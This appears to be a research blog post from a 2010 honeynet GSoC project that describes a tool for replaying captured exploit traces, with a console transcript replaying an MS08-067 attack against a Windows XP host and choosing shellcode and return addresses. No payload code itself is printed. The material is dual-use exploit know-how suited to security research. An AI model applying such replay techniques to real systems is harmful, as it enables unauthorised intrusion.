TraceExploit: Replaying method dissection

I’ve been working on the GSOC Project 14 in recent months. We are meant to start a new tool which can replay the collected exploit traces.

We know that during the process of exploit replay, there’re many fields need to be changed in the original application messages. Some of them are platform independent, and the others are platform specific. Platform-independent variables are those changed each time we exploit, like timestamp, cookie, length, etc. And platform-specific variables are those changed only if the target system is changed, like target address, return address point to the shellcode.

As a preprocessing stage, all the variables need to be marked out in the application messages, so we have a Discoverer module to extract the common exploit template from a pack of exploit traces aiming at certain vulnerability. Then the rest part of this article is a brief introduction about how to perform replay with the exploit template.

Replayer do the following work:

1. Load the template into structures in memory. The template is in XML format and an example is attached. It includes three main sections, message sequences, variable list and exploit information.
2. User input exploit options and specify some of the variable values like target address, application args, and choose the shellcode to run.
3. Auto detect the target environment or user specify it. Then the tool will generate the values of rest variables.
4. Perform the replay. Fill the application messages with variable values before sending, and retrieve the variable values from received messages.
5. Examine whether the replay is successful.

I have done some experiments based on the ms08-067 vulnerability. First I used Metasploit to attack a xp sp2 target host and captured the packets. Then made it into exploit template. After that, I used Replayer to perform an attack to a xp sp3 host. Here’s the result:

alan@alan-desktop:~/Work/workspace/replayer$ ./replayer profile2.xml  
TraceXploit (POC) Replayer 0.1  
https://www.honeynet.org  
by Zhongjie Wang 2010.8.15  
  
Loading exploit template 'profile2.xml'...ok.  
Retrieving arguments list...ok.  
  
[Basic User Options]  
(which are related to target environment, like ip, port, etc.)  
Target IP:219.223.192.149  
Port:445  
Select target OS:  
1. Automatic Targeting  
2. Windows 2000  
3. Windows XP SP1 Simplified Chinese  
4. Windows XP SP2 Simplified Chinese  
5. Windows XP SP3 Simplified Chinese  
Input the number: 4  
  
[Advanced User Options]  
(which are related to the vulnerability we're exploiting.)  
Variable name: smbpipe  
Variable type: arguments  
Possible values: BROWSER, SRVSVC  
Input the value: BROWSER  
  
[Exploit Options]  
(which user can customize shellcode and return address.)  
Here're all the shellcode available:  
1. Windows Cmd Shell, Bind TCP Inline  
2. Windows Cmd Shell, Reverse TCP Inline  
3. Windows Execute Command  
Please input the number: 3  
*******************************  
* windows/exec - 196 bytes *  
* http://www.metasploit.com *  
* Encoder: generic/none *  
*******************************  
Cmd to run:calc  
shellcode has been replaced.  
auto selected return address 'disablenx': 0x58fc17c2  
auto selected return address 'jmpesi': 0x58fbf807  
  
Begin to replay exploit to 219.223.192.149:445...  
Data flow in hex format is saved into 'dataflow.txt'.  
Update variable 'ip' in seq 0 msg 8, offset 50. 
Update variable 'smbpipe' in seq 0 msg 10, offset 88. 
Update variable 'length_18' in seq 0 msg 18, offset 1. 
in seq 0. Connection reset by peer  
replay has been done.  

The hex data transfered between two machines are saved into ‘dataflow.txt’ which is also attached.

In this version of replayer, following variable types are taken into consideration:

• IP, Port usually the values of IP and port for initial connection should be given by user, and the values of that for successive connections should be get from messages.
• Argument usually means the arguments used to access the vulnerable services, e.g, username, password, address…
• Cookie cookies are retrieved from the received messages and filled into the sending messages.
• Length automatically calculated before messages are sent.
• Shellcode now we have three shellcodes written into the source code.
• Return Address we built a tiny return address database in order to detect the return addresses in messages and choose alternative return addresses.

Because I don’t know how to upload file here, here’s the link to the attachment:
a exploit template sample
dataflow.txt